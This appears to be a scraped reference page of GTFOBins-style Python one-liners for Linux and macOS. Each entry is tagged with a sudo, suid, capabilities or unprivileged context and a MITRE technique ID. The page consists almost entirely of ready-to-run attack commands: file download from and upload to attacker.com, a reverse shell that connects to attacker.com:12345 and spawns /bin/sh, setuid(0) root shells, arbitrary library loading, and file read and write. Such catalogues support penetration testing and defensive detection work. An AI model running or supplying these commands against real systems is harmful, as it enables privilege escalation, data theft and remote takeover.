download File DownloadPrivilege Escalation LinuxmacOS python -c 'import sys; from os import environ as e if sys.version_info.major == 3: import urllib.request as r else: import urllib as r r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")' copy Contextsudo Nativedownload MITRET1105 Refsgtfobins.github.io/gtfobins/python/
download File DownloadPrivilege Escalation LinuxmacOS python -c 'import sys; from os import environ as e if sys.version_info.major == 3: import urllib.request as r else: import urllib as r r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")' copy Contextsuid Nativedownload MITRET1105 Refsgtfobins.github.io/gtfobins/python/
download File Download LinuxmacOS python -c 'import sys; from os import environ as e if sys.version_info.major == 3: import urllib.request as r else: import urllib as r r.urlretrieve("http://attacker.com/path/to/input-file", "/path/to/output-file")' copy Contextunprivileged Nativedownload MITRET1105 Refsgtfobins.github.io/gtfobins/python/
file-read File ReadPrivilege Escalation LinuxmacOS python -c 'print(open("/path/to/input-file").read())' copy Contextsudo Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/python/
file-read File ReadPrivilege Escalation LinuxmacOS python -c 'print(open("/path/to/input-file").read())' copy Contextsuid Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/python/
file-read File Read LinuxmacOS python -c 'print(open("/path/to/input-file").read())' copy Contextunprivileged Nativefile-read MITRET1005 Refsgtfobins.github.io/gtfobins/python/
file-write File WritePrivilege Escalation LinuxmacOS python -c 'open("/path/to/output-file","w+").write("DATA")' copy Contextsudo Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/python/
file-write File WritePrivilege Escalation LinuxmacOS python -c 'open("/path/to/output-file","w+").write("DATA")' copy Contextsuid Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/python/
file-write File Write LinuxmacOS python -c 'open("/path/to/output-file","w+").write("DATA")' copy Contextunprivileged Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/python/
library-load Library LoadPrivilege Escalation LinuxmacOS python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")' copy Contextcapabilities Nativelibrary-load MITRET1574 Refsgtfobins.github.io/gtfobins/python/
library-load Library LoadPrivilege Escalation LinuxmacOS python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")' copy Contextsudo Nativelibrary-load MITRET1574 Refsgtfobins.github.io/gtfobins/python/
library-load Library LoadPrivilege Escalation LinuxmacOS python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")' copy Contextsuid Nativelibrary-load MITRET1574 Refsgtfobins.github.io/gtfobins/python/
library-load Library Load LinuxmacOS python -c 'from ctypes import cdll; cdll.LoadLibrary("/path/to/lib.so")' copy Contextunprivileged Nativelibrary-load MITRET1574 Refsgtfobins.github.io/gtfobins/python/
reverse-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS python -c 'import sys,socket,os,pty;s=socket.socket() s.connect(("attacker.com",12345)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' copy Contextsudo Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/python/
reverse-shell Reverse/Bind ShellPrivilege Escalation LinuxmacOS python -c 'import sys,socket,os,pty;s=socket.socket() s.connect(("attacker.com",12345)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' copy Contextsuid Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/python/
reverse-shell Reverse/Bind Shell LinuxmacOS python -c 'import sys,socket,os,pty;s=socket.socket() s.connect(("attacker.com",12345)) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' copy Contextunprivileged Nativereverse-shell MITRET1059T1071 Refsgtfobins.github.io/gtfobins/python/
shell ExecutionPrivilege Escalation LinuxmacOS python -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")' copy Contextcapabilities Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/python/
shell ExecutionPrivilege Escalation LinuxmacOS python -c 'import os; os.execl("/bin/sh", "sh")' copy Contextsudo Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/python/
shell ExecutionPrivilege Escalation LinuxmacOS python -c 'import os; os.execl("/bin/sh", "sh", "-p")' copy Contextsuid Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/python/
shell Execution LinuxmacOS python -c 'import os; os.execl("/bin/sh", "sh")' copy Contextunprivileged Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/python/
upload File UploadPrivilege Escalation LinuxmacOS python -c 'import sys if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u else: import urllib as u, urllib2 as r r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())' copy Contextsudo Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/python/
upload File UploadPrivilege Escalation LinuxmacOS python -c 'import sys if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u else: import urllib as u, urllib2 as r r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())' copy Contextsuid Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/python/
upload File Upload LinuxmacOS python -c 'import sys if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u else: import urllib as u, urllib2 as r r.urlopen("http://attacker.com", open("/path/to/input-file", "rb").read())' copy Contextunprivileged Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/python/
upload File UploadPrivilege Escalation LinuxmacOS python -c 'import sys if sys.version_info.major == 3: import http.server as s, socketserver as ss else: import SimpleHTTPServer as s, SocketServer as ss ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()' copy Contextsudo Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/python/
upload File UploadPrivilege Escalation LinuxmacOS python -c 'import sys if sys.version_info.major == 3: import http.server as s, socketserver as ss else: import SimpleHTTPServer as s, SocketServer as ss ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()' copy Contextsuid Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/python/
upload File Upload LinuxmacOS python -c 'import sys if sys.version_info.major == 3: import http.server as s, socketserver as ss else: import SimpleHTTPServer as s, SocketServer as ss ss.TCPServer(("", 12345), s.SimpleHTTPRequestHandler).serve_forever()' copy Contextunprivileged Nativeupload MITRET1041 Refsgtfobins.github.io/gtfobins/python/